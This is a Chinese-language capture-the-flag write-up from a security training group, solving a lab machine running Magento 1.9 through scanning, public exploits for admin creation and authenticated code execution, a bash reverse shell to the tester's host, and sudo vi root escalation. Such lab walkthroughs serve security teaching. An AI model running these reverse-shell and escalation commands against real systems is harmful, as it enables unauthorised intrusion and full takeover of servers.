出品|MS08067實驗室(www.ms08067.com)
本文作者:是大方子(Ms08067實驗室核心成員)
總結與反思
- 使用vi提權
- magento漏洞的利用
- magescan 工具的使用
靶機介紹
靶機IP:10.10.10.140
kali:10.10.12.69
先用nmap來對靶機進行探測
nmap ‐sC ‐sV ‐T 5 ‐oA Swagshop.nmap 10.10.10.140
掃描結果
# Nmap 7.80 scan initiated Fri Oct 4 13:24:03 2019 as: nmap ‐sC ‐sV ‐T 5
‐oA Swagshop.nmap 10.10.10.140
Warning: 10.10.10.140 giving up on port because retransmission cap hit
(2).
Nmap scan report for 10.10.10.140
Host is up (0.33s latency).
Not shown: 855 closed ports, 143 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol
2.0)
| ssh‐hostkey:
| 256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)
|_ 256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http‐title: Home page
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at http
s://nmap.org/submit/ .
# Nmap done at Fri Oct 4 13:25:16 2019 ‐‐ 1 IP address (1 host up) scann
ed in 73.75 seconds
開放了22 和 80埠,直接開啟訪問下網頁
Magento是一款新的專業開源電子商務平臺,採用php進行開發,使用Zend Framework框架。
設計得非常靈活,具有模組化架構體系和豐富的功能。易於與第三方應用系統無縫整合。在設計上,包含相當全面,以模組化架構體系,讓應用組合變得相當靈活,功能也相當豐富。
接下來就是網頁上進行資訊收集。
首先是下面的版權,2014年可以為找漏洞的線索
我們隨便點開網頁有一個比較奇怪的地方,感覺像是URL重寫,前面都會多一個index.php
通過gubuster,跑出來的目錄也沒有什麼用
這樣收集的資訊也不是很夠,我們還需要另外的工具進行輔助
magescan 專門針對magento的掃描器
下載地址:https://github.com/steverobbins/magescan/releases
>php magescan.phar scan:all http://10.10.10.140
Scanning http://10.10.10.140/...
Magento Information
+‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| Parameter | Value |
+‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| Edition | Community |
| Version | 1.9.0.0, 1.9.0.1 |
+‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
Installed Modules
No detectable modules were found
Catalog Information
+‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+
| Type | Count |
+‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+
| Categories | Unknown |
| Products | Unknown |
+‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+
Patches
+‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+
| Name | Status |
+‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+
| SUPEE‐5344 | Unknown |
| SUPEE‐5994 | Unknown |
| SUPEE‐6285 | Unknown |
| SUPEE‐6482 | Unknown |
| SUPEE‐6788 | Unknown |
| SUPEE‐7405 | Unknown |
| SUPEE‐8788 | Unknown |
+‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+
Sitemap
Sitemap is not declared in robots.txt
Sitemap is not accessible: http://10.10.10.140/sitemap.xml
Server Technology
+‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| Key | Value |
+‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| Server | Apache/2.4.18 (Ubuntu) |
+‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
Unreachable Path Check
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐
+
| Path | Response Code | Status |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐
+
| .bzr/ | 404 | Pass |
| .cvs/ | 404 | Pass |
| .git/ | 404 | Pass |
| .git/config | 404 | Pass |
| .git/refs/ | 404 | Pass |
| .gitignore | 404 | Pass |
| .hg/ | 404 | Pass |
| .idea | 404 | Pass |
| .svn/ | 404 | Pass |
| .svn/entries | 404 | Pass |
| admin/ | 404 | Pass |
| admin123/ | 404 | Pass |
| adminer.php | 404 | Pass |
| administrator/ | 404 | Pass |
| adminpanel/ | 404 | Pass |
| aittmp/index.php | 404 | Pass |
| app/etc/enterprise.xml | 404 | Pass |
| app/etc/local.xml | 200 | Fail |
| backend/ | 404 | Pass |
| backoffice/ | 404 | Pass |
| beheer/ | 404 | Pass |
| capistrano/config/deploy.rb | 404 | Pass |
| chive | 404 | Pass |
| composer.json | 404 | Pass |
| composer.lock | 404 | Pass |
| vendor/composer/installed.json | 404 | Pass |
| config/deploy.rb | 404 | Pass |
| control/ | 404 | Pass |
| dev/tests/functional/etc/config.xml | 404 | Pass |
| downloader/index.php | 404 | Pass |
| index.php/rss/order/NEW/new | 200 | Fail |
| info.php | 404 | Pass |
| mageaudit.php | 404 | Pass |
| magmi/ | 404 | Pass |
| magmi/conf/magmi.ini | 404 | Pass |
| magmi/web/magmi.php | 404 | Pass |
| Makefile | 404 | Pass |
| manage/ | 404 | Pass |
| management/ | 404 | Pass |
| manager/ | 404 | Pass |
| modman | 404 | Pass |
| p.php | 404 | Pass |
| panel/ | 404 | Pass |
| phpinfo.php | 404 | Pass |
| phpmyadmin | 404 | Pass |
| README.md | 404 | Pass |
| README.txt | 404 | Pass |
| shell/ | 200 | Fail |
| shopadmin/ | 404 | Pass |
| site_admin/ | 404 | Pass |
| var/export/ | 404 | Pass |
| var/export/export_all_products.csv | 404 | Pass |
| var/export/export_customers.csv | 404 | Pass |
| var/export/export_product_stocks.csv | 404 | Pass |
| var/log/ | 404 | Pass |
| var/log/exception.log | 404 | Pass |
| var/log/payment_authnetcim.log | 404 | Pass |
| var/log/payment_authorizenet.log | 404 | Pass |
| var/log/payment_authorizenet_directpost.log | 404 | Pass |
| var/log/payment_cybersource_soap.log | 404 | Pass |
| var/log/payment_ogone.log | 404 | Pass |
| var/log/payment_payflow_advanced.log | 404 | Pass |
| var/log/payment_payflow_link.log | 404 | Pass |
| var/log/payment_paypal_billing_agreement.log | 404 | Pass |
| var/log/payment_paypal_direct.log | 404 | Pass |
| var/log/payment_paypal_express.log | 404 | Pass |
| var/log/payment_paypal_standard.log | 404 | Pass |
| var/log/payment_paypaluk_express.log | 404 | Pass |
| var/log/payment_pbridge.log | 404 | Pass |
| var/log/payment_verisign.log | 404 | Pass |
| var/log/system.log | 404 | Pass |
| var/report/ | 404 | Pass |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐
+
從掃描結果我們可以看到magento的版本大概為1.9.0.0, 1.9.0.1。
敏感路徑:
/app/etc/local.xml(有線索)
/index.php/rss/order/NEW/new(無用)
/shopadmin/
接下來用searchsploit來找下magento現在已經的漏洞
通過 -x 引數可以看到這些EXP的內容
主要是用到這兩個:
第一個,用來進行遠端程式碼執行(但是需要通過身份驗證) 。
**第二個,可以用來建立管理員賬號密碼(給第一個EXP的利用創造條件)。 **
先試用第二個EXP,建立管理員賬號密碼 通過-m 引數可以吧EXP複製到當前路徑
然後對EXP進行修改,這裡修改3個地方。
- 在之前我們也看到,網頁前面都會增加index.php,所以這裡我們也要加,否則。。。。你自己可以試試看會是包
- 這裡修改我們增加管理的賬號密碼
- 修改下輸出資訊,方便成功後能直觀看到我們的賬號密碼
然後執行下
我們嘗試登入下
成功登入
接下來就是利用另一個EXP,來進行遠端程式碼執行
重新編輯下EXP
我們可以看到我們需要配置的地方
username:dfz
password:dfz
php_function:我們不需要修改
install_data:在上面我們發現的/app/etc/local.xml可以查詢到
配置好的資訊如下:
開始執行
可以看到mechanize報了一個找不到元素的錯,mechanize是python裡面模擬瀏覽器操作的模組。結合它需要管理員賬號密碼,這裡應該填的是管理員頁面地址。
可以看到命令執行成功
那麼我們就用它反彈shell
無法正常反彈!
這裡猜測,可能是因為這串程式碼傳到伺服器的時候 可能因為空格或者是其他的異常的符導致伺服器執行失敗。之前我們看到whoami命令是可以正常執行的。那麼我們就把程式碼換成這樣
python 37811.py http://10.10.10.140/index.php/admin "bash ‐c 'bash ‐i >&/dev/tcp/10.10.12.69/4444 0>&1' "
這樣當伺服器解析到bash -c 時 可以把後面單引號內的內容執行,防止意外干擾
成功!!!我們看下自己的sudo許可權
可以看到我們使用vi和使用目錄/var/www/html是不需要密碼就能獲得root許可權的。
第一反應就是使用vi來進行提權,先使用python的pty
python ‐c "import pty;pty.spawn('/bin/bash')"
發現沒有python,但是我們可以用python3
python3 ‐c "import pty;pty.spawn('/bin/bash')"
然後在處理方向鍵等亂碼問題。
先ctrl+z 把程式掛到後臺,然後輸入stty raw -echo,在輸入fg(不會顯示出來),多按幾次回車即可
然後需要使用vi進行提權,需要注意的是:
- 要增加sudo
- vi要輸入檔案的絕對路徑
sudo vi /var/www/html/sdfzy
vi開啟後進入命令列模式,然後執行命令
:!/bin/bash
即可拿到root許可權!
轉載請聯絡作者並註明出處!
Ms08067安全實驗室專注於網路安全知識的普及和培訓。團隊已出版《Web安全攻防:滲透測試實戰指南》,《內網安全攻防:滲透測試實戰指南》,《Python安全攻防:滲透測試實戰指南》,《Java程式碼安全審計(入門篇)》等書籍。
團隊公眾號定期分享關於CTF靶場、內網滲透、APT方面技術乾貨,從零開始、以實戰落地為主,致力於做一個實用的乾貨分享型公眾號。
官方網站:https://www.ms08067.com/
掃描下方二維碼加入實驗室VIP社群
加入後邀請加入內部VIP群,內部微信群永久有效!